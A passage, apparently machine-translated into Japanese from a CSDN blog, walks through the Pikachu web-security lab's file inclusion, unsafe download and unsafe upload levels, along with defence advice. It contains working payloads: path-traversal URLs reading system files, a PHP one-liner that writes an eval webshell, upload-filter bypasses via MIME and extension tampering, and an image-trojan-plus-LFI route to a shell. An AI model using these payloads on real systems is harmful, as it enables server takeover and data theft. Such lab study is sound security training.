ピカチュウ----ファイルのインクルード/ダウンロード/アップロード

目次

1. ファイルのインクルード (ファイルに抜け穴が含まれている)

1。概要

2. ファイルインクルード (ローカル) ローカル

3.ファイルインクルード(リモート) リモート

2、安全でないファイルのダウンロード(ファイルのダウンロード)

1。概要

2.安全でないダウンロード

3. 安全でないファイルのアップロード(ファイルアップロード)

1。概要

2.クライアントチェック

 3. サーバーチェック

 4.getimagesize()


1. ファイルのインクルード (ファイルに抜け穴が含まれている)

1。概要

        ファイルに含まれる関数です。さまざまな開発言語には、開発者が 1 つのコード ファイルに別のコード ファイルを直接インクルード (導入) できる組み込みのファイル インクルード機能が用意されています。たとえば、PHP では、
include()、include_once()、
require()、require_once()が提供されます。

  • require() を実行すると、致命的なエラーが生成され、インクルードされたファイルが見つからない場合はスクリプトが停止します。
  • include() を実行すると、インクルードされたファイルが見つからない場合は警告のみが生成され、スクリプトは実行を続行します。
  • include_once() は include() に似ていますが、唯一の違いは、ファイル内のコードがすでにインクルードされている場合、再度インクルードされないことです。
  • require_once() は require() に似ていますが、唯一の違いは、ファイル内のコードが既にインクルードされている場合、再度インクルードされないことです。

これらのファイルには、コード設計で頻繁に使用される関数が含まれています。

脆弱性の理由

        include() 関数は、どのような種類のファイルが含まれているかは関係ありません。php コードが存在する限り、解析されます。Web サイトに抜け穴を含むファイルがある場合、jpg ファイルは php ファイルとして解析できます。

        ほとんどの場合、ファイルインクルード関数に含まれるコードファイルは修正されているため、セキュリティ上の問題もありません。ただし、ファイルに含まれるコードファイルが変数として記述されており、その変数がフロントエンドユーザーによって渡される場合があり、この場合、セキュリティ上の考慮が不十分な場合、ファイルインクルードの脆弱性が発生する可能性があります。 。攻撃者は、含まれている関数が実行する「予期しない」ファイルを指定し、それによって悪意のある操作を引き起こします。さまざまな構成環境に応じて、このファイルには次の 2 つの場合の脆弱性が含まれています。

1.1 ローカル ファイル インクルードの脆弱性:サーバー上のローカル ファイルのみがインクルードされる可能性がありますサーバー上のファイルは攻撃者によって制御されないため、この場合、攻撃者はより多くの固定システム構成ファイルをインクルードし、システムの機密情報を読み取ります。多くの場合、ローカル ファイル インクルードの脆弱性は、いくつかの特別なファイル アップロードの脆弱性と組み合わされて、より大きな力を形成します。
1.2 リモート ファイルの組み込みの脆弱性: URL アドレスを介してリモート ファイルを組み込むことができます。これは、攻撃者が任意のコードを渡すことができることを意味します。

したがって、Web アプリケーション システムの機能設計では、フロントエンド ユーザーが変数を含む関数に直接渡せないようにしてください。そうする必要がある場合は、フィルタリング用の厳格なホワイトリスト ポリシーも実装する必要があります。

どのように守るか

1. str_replace およびその他のメソッドを使用して危険な文字を除外する

2. ディレクトリのトラバーサルを防止するために open_basedir を設定する

3. %00 が切り捨てられないように、php のバージョンがアップグレードされます。

4. アップロードされたファイルの名前を変更して、読み取られないようにします。

5. 動的にインクルードされるファイルに対してホワイトリストを設定でき、ホワイトリストに登録されていないファイルは読み取られません。

6. 管理者権限の分割とファイル権限の管理をしっかり行う

2. ファイルインクルード (ローカル) ローカル

ドロップダウン ボックスからレベルに入ることができます。NBA スターを選択し、コービーを選択すると、写真とキャラクターのプロフィールがポップアップ表示されます。

 URL

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#

URL にファイル file1.php が含まれていることを確認すると、このファイルはファイルに含まれている可能性があり、URL パラメーターを介してフロントエンドからバックエンドに渡されるため、ユーザーの制御下にあります。フィルタリングすると、ファイルの抜け穴が含まれる可能性があります。

他の NBA スターを試してみたところ、file2.php----file5.php であることがわかりました。

1.1 隠しファイルを読み取る

今回はbpで実行してみます。

 ブラスト 2 この位置

 6-100の辞書

 ブラスト結果を長さに従って並べると、次の 4 つの長さがあることがわかり、それぞれ file6.php、file7.php、file14.php、file100.php を表します。

file6.php ユーザー名とパスワードを含む隠しファイル

file7.php はエラーを返し、 file14.php と file100.php は両方とも同じエラー メッセージを報告しました。このエラー レポートを通じて、fi_local.phpにファイルをインクルードするために使用された関数がinclude()であり、インクルードされたファイルがpath は、 fi_local.phpと同じフォルダーの下にある include フォルダー内の Filesと同じです。

パス D:\Users\phpstudy_pro\WWW\pikachu\vul\fileinclude を取得します。

1.2 異なるフォルダー内のファイルを読み取る

phpコードをtxt形式でアップロードします

name は file6.php (実際にはインクルード ファイル内) のパスではないため、../ を使用して前のディレクトリに戻ります。

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../kiss.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

 1.3 システムファイルの読み取り

Windows システムに必要なファイルはC:\Windows\win.iniです。これを使用して、ファイル インクルードの脆弱性があるかどうかを確認してください。

エラー メッセージ内で漏洩した fi_local.php ファイルの場所と組み合わせると、相対パスは C:/../../../../windows/win.ini として計算され、これが URL に代入されて形成されます。ペイロード:

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=C:/../../../../windows/win.ini&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

 1.4 ファイルアップロード getshell と組み合わせたもの

pikachu Unsafe Fileupload アンセーフ ファイル アップロードの getimagesize レベルで、絵馬がアップロードされましたが、絵馬の名前は 41634263ae58e27421b852355994.jpg に変更され、その内容には下図に示すような一文のトロイの木馬が含まれていました。

画像を偽造する.jpg

 ファイルアップロード w.jpg、パスの一部と新しく生成された画像ファイル名をエコー

 ファイルに含まれるディレクトリを結合してペイロードを取得します。

127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/12/30/64272863ae5dff2699f401247946.jpg&submit=提交查询

ファイルにはアクセスするための URL が含まれています

 アリの剣と接続する

接続に成功しました!

3.ファイルインクルード(リモート) リモート

リモート インクルードの脆弱性では、攻撃者が外部アドレスにアクセスしてリモート コードをロードする可能性があります。

 include() 関数の完全なパラメータは URL に示されています。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#

httpを含むリモートを試してください

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=https://www.csdn.net/&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#

 したがって、このレベルでは、リモート ファイルの組み込みに加えて、ローカル ファイルの組み込みに絶対パスを使用することもできます。

シェルを生成する一文のトロイの木馬を作成する

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123])  ?> '); ?>

何も起こらなかったのに

 ファイルパスを確認してshell.phpを生成します。

URLのshell.txtをshell.phpに変更します。

 接続に成功しました!

2、安全でないファイルのダウンロード(ファイルのダウンロード)

1。概要

    ファイルのダウンロード機能は多くの Web システムに表示されます。通常、ダウンロード リンクをクリックすると、ダウンロード リクエストがバックグラウンドに送信されます。通常、このリクエストにはダウンロードするファイル名が含まれます。リクエストを受信すると、バックグラウンドでダウンロード コードの実行が開始され、ファイル名に対応するファイル応答がブラウザに送信され、ダウンロードが完了します。バックグラウンドが要求されたファイル名を受信し、セキュリティ判定を実行せずにダウンロード ファイルのパスに直接入力すると、安全でないファイル ダウンロードの脆弱性が発生する可能性があります。
このとき、攻撃者が予期されるプログラムのファイル名ではなく、注意深く構築されたパス (../../../etc/passwd など) を送信すると、指定されたファイルが直接ダウンロードされる可能性が非常に高くなります。それ。その結果、バックグラウンドで機密情報 (パスワード ファイル、ソース コードなど) がダウンロードされます。

したがって、ファイルのダウンロード機能を設計する際、ダウンロード対象のファイルがフロントエンドによって渡される場合、受信ファイルのセキュリティを考慮する必要があります。覚えておいてください: フロントエンドとやり取りするすべてのデータは安全ではないため、軽視すべきではありません。

脆弱性の原則

ユーザーにダウンロード機能を提供し、関連するパラメータ変数を受け取ることができます

開発中、ファイルを読み取るための関連関数が使用されました

フロントエンド ユーザーのファイル読み取り要求 (制限、検証) に対応する制御がないか、制御が緩い

要求されたファイルのコンテンツを出力し、ダウンロードのためにフロントエンドに提供できます。

脆弱性の危険性

サーバーから任意のファイルをダウンロードできます。

  • Web サイトの Web ソース コードを取得し、コードを監査してさらに多くの脆弱性を検出します。

  • Web サイト、サーバー、システム、データベースなどのミドルウェア構成ファイルを取得する

  • システム構成ファイルに適用する

  • イントラネット上の情報を調査する

  • さまざまな .log ファイルをダウンロードし、バックグラウンド アドレス、ファイル アップロード ポイントなどを探します。

防衛

  •     データの浄化: ユーザーによって渡されたファイル名パラメータを均一にエンコードし、ファイル タイプのホワイトリストを制御し、悪意のある文字または null 文字を含むパラメータを拒否します。
  •     任意のファイルのダウンロードの脆弱性は、Web で使用されているミドルウェアのバージョンが低いことによって引き起こされる場合もあります。たとえば、IBM の WebSphere の任意のファイルのダウンロードの脆弱性は、ミドルウェアのバージョンを修正するために更新する必要があります。
  •     ダウンロードするファイルのアドレスはデータベースに保存されます。
  •     ファイル パスをデータベースに保存し、ユーザーが ID に対応するファイルを送信してファイルをダウンロードできるようにします。
  •     ユーザーはファイルをダウンロードする前に権限を判断する必要があり、アクセス権限は open_basedir で設定できます
  •     ファイルは、Web から直接アクセスできないディレクトリに配置されます。
  •     ディレクトリ トラバーサル サービスを許可しないように . をフィルタします。
  •     パブリック ファイルは Web アプリケーションのダウンロード ディレクトリに配置し、リンクを通じてダウンロードできます。
     

2.安全でないダウンロード

アバターをクリックして写真をダウンロードします

 ジャンプすることなく直接ダウンロードされ、URL は一切変更されませんでした。

右クリックして Web ページのソース コードを表示します

プレーヤー名で関連するコードをすばやく見つけます

<a href="execdownload.php?filename=kb.png">Kobe Bryant</a> と同様に、ファイルのダウンロード ポイントに対応します

execdownload.php?filename= を現在の Web ページのパスに続けて、必要なファイルのパスを指定して組み立てます。

payload:127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../123.txt

絶対パスを使用できない場合は、次のようにします。

127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=D:\Users\phpstudy_pro\WWW\pikachu\vul\unsafedownload/123.txt

その理由は、10 行目で渡されたパラメータの前にダウンロード ディレクトリが結合されているためです。

ダウンロードを削除/  

次回からは絶対パスアクセスでダウンロードできます

3. 安全でないファイルのアップロード(ファイルアップロード)

1。概要

        ファイルのアップロード機能は Web アプリケーション システムで非常に一般的で、たとえば、多くの Web サイトでは登録時にアバターのアップロードや添付ファイルのアップロードなどが必要になります。ユーザーがアップロードボタンをクリックすると、アップロードされたファイルが指定された種類、サフィックス名、サイズなどをバックグラウンドで判断し、設計された形式に従ってファイル名を変更し、指定されたディレクトリに保存します。バックグラウンドでアップロードされたファイルのセキュリティ判断が行われない場合、または判断条件が十分に厳密でない場合、攻撃者は、一言のトロイの木馬などの悪意のあるファイルをアップロードする可能性があり、これによりバックグラウンド サーバーが Web シェル化されます。

したがって、ファイルアップロード機能を設計する際には、受信ファイルのセキュリティを厳密に考慮する必要があります。例:
-- ファイル タイプ、サフィックス名、サイズを確認します。 --
ファイルのアップロード方法を確認します。 --
ある程度複雑なファイル名を変更します。
-- ファイルのアップロード後にパスを公開しないでください。
-- など...

1. ブラックボックスサーチ

ファイルの背景

ウェブサイトの背景に入ると必ずしもウェブサイトの権限を取得できるわけではありません、背景からウェブサイトの権限を取得することはできます

メンバーセンター

写真経由でアップロード

ドキュメントスキャン

ツールを使用してバックグラウンドパスをスキャンアウトする

2. ホワイトボックスルックアップ

コード分​​析を通じて脆弱性をアップロードする

ファイルアップロード機能を見つける
ファイルアップロードを防御する方法

    Web サービスからアップロードされたファイルを分離する、
    ホワイトリスト フィルタリングを使用する、アップロードされるファイル タイプを制限する、
    ファイル アップロード パスを実行不可能な権限チェックに設定する、
    ファイル アップロード パス
    に関数検出が付属する、カスタム関数検出イメージ
    レンダリング、アップロードされるファイルの名前を変更する、
    ファイル コンテンツを圧縮する、生成ファイルの内容 ファイルの内容を確認する

ファイルアップロードの脆弱性回避方法

    ファイルに含まれる内容
    フロントエンド制限のバイパス
    ファイル拡張子バイパス
    ashx アップロードバイパス
    特殊ファイル名バイパス
    00 切り捨てバイパス アップロード
    htaccess 解析脆弱性
    突破 MIME 制限アップロード解析
    脆弱性バイパス
    条件 競合バイパス
    CONTENT-LENGTH バイパス
 

2.クライアントチェック

        アップロードされたファイルのサフィックス名はフロントエンドの js スクリプトによって検証され、ユーザーがアップロードするファイルの種類はブラックリストとホワイトリストを設定することで制限されます。この検証方法は非常に安全ではなく、簡単に回避されてしまう可能性があります。データ パケットを傍受して変更したり、ブラウザ内で直接 js を閉じたりすることで簡単に回避できます。

画像のみアップロード可能です。

一文のトロイの木馬を書く

ここでは、ブラウザの js または bp パケット キャプチャを直接無効にします。

ブラウザー js を無効にする (Firefox プラグインが見つからない)

このようにしてのみ

URL 入力 about:config

検索ボックスに「JavaScript」と入力し、「javascript.enabled」を見つけて「false」に変換します。

 2回目にphpファイルをアップロードすると、直接アップロードが成功したことが分かりました。

bp を使用してパケットをアップロードしてキャプチャする

 

BP攻略状況

.jpg ファイルを .php に変更します。

  アップロードは成功し、ファイルを保存するパスは、uploads/w.php になります (実際の多くの状況では、ファイルを保存するパスは返されないため、自分で検索するか推測する必要があります)。

パスにアクセスすると、一文のトロイの木馬ファイル ヘッダー GIF89 が表示され、正常にアクセスできることがわかります。

http://127.0.0.1/pikachu/vul/unsafeupload/uploads/w.php

 アリの剣と接続する

接続に成功しました!

コード

F12 ビュー、ホワイトリスト フィルターですが、フロント エンドに配置しても意味がありません。

 3. サーバーチェック

サーバーはアップロードされたデータの content-type フィールドを検出し、それが指定されたファイル形式であるかどうかを判断します。

php ファイル、ポップアップ形式 jpg、jpeg、png をアップロードします

 

 同じアップロードパスでjpgファイルをアップロードします

現時点では、jpg ファイルを Ant Sword に接続することはできません

パッケージを見てください。キーパッケージはここにあります

 .jpg を .php に変更し、image/ を jpg、jpeg、png に変更する必要があります。そうしないと、アップロードは成功しません。

 画像/jpeg

  image/php、成功しません

  image/php、file.jpgのアップロードも成功しません

アリソードコネクション

コード

MIME タイプ。HTTP リクエスト メッセージの Content-Type フィールドに反映されます。

 $mime は、正当な MIME タイプ、つまり MIME タイプのホワイト リストを含む配列であり、このホワイト リストは、サーバー側の検出のためにパラメータとして Upload_sick() 関数に渡されます。

Upload_sick() 関数は次のように定義されていますが、この関数の安全性の問題は次の 2 点にあります。

(1) MIME タイプのみがチェックされますが、これはパケット キャプチャの変更によってバイパスできます。

(2) ファイルを保存するときにファイルの名前が変更されていないため、Web ページがファイルの保存パスをエコーし​​なかったとしても、攻撃者はそれを推測できる可能性が高くなります。

レベル全体に別のセキュリティ上の不安があります。つまり、ファイルの保存パスがエコーされます。

Web シェルのアップロードに成功し、ファイルを保存するパスがわかったら、攻撃者はシェルに接続できます。

 4.getimagesize()

getimagesize() 関数は、画像サイズと関連情報を取得するために使用され、成功した場合は配列を返し、失敗した場合は FALSE を返し、E_WARNING レベルのエラー メッセージを生成します。
getimagesize() 関数は、GIF、JPG、PNG、SWF、SWC、PSD、TIFF、BMP、IFF、JP2、JPX、JB2、JPC、XBM、または WBMP 画像ファイルのサイズを決定し、それに沿った画像の寸法を返します。ファイルタイプと画像の高さと幅を指定します。

php ファイルをアップロードすると、サフィックスが除外されているようです。

この場合、bp でパケットをキャプチャしてパケットを変更することはできないはずです。

確かにそうではありません

 画像形式のみアップロードできるため、画像のヘッダーを偽造したり、トロイの木馬の文を追加することは可能ですが、phpファイルを解析したり、トロイの木馬phpファイルを実行したりすることはできず、組み合わせてのみ悪用可能です脆弱性を含むファイルを含めます。上記のファイルには、実装されたエクスプロイトも含まれています。

コード

このレベルは 3 つのレベルの中で最も安全で、php ファイルをアップロードすることはできず、ファイルを抜け穴 (またはミドルウェア解析の抜け穴) で結合する必要がありますが、十分に安全ではありません。

セキュリティが欠如する主な理由は、アップロードされたファイルに php コードが含まれる可能性があることです。

このレベルでは、最初に 2 つのホワイト リストを指定します。$_type はファイル名サフィックスのホワイト リスト、$_mime は MIME タイプのホワイト リストです。次に、2 つのホワイト リストを他のパラメータとともに Upload() 関数に送信します。

Upload() 関数は次のように定義されており、主なフィルタリング アクションは次のとおりです。

(1) 123 ~ 127 行目、ファイル名サフィックス ホワイト リスト $type を使用して、サフィックスがホワイト リストにないファイルをフィルタリングします。

(2) 130 ~ 134 行目、MIME タイプ ホワイトリスト $mime を使用して、MIME タイプがホワイトリストにないファイルをフィルタリングします。

(3) 136 ~ 140 行目、getimagesize() 関数を使用して、実際の画像かどうかを判断します (画像ホースによってバイパス可能)

(4) 157 ~ 161 行目で、ファイル名をランダムな値に変更します (本来は攻撃者がファイル パスを推測するのを防ぐためですが、ファイルの保存パスが Web ページ上にエコーされるため、この名前変更手順は役に立たないようです)。

おすすめ

転載: blog.csdn.net/m0_65712192/article/details/128490557
おすすめ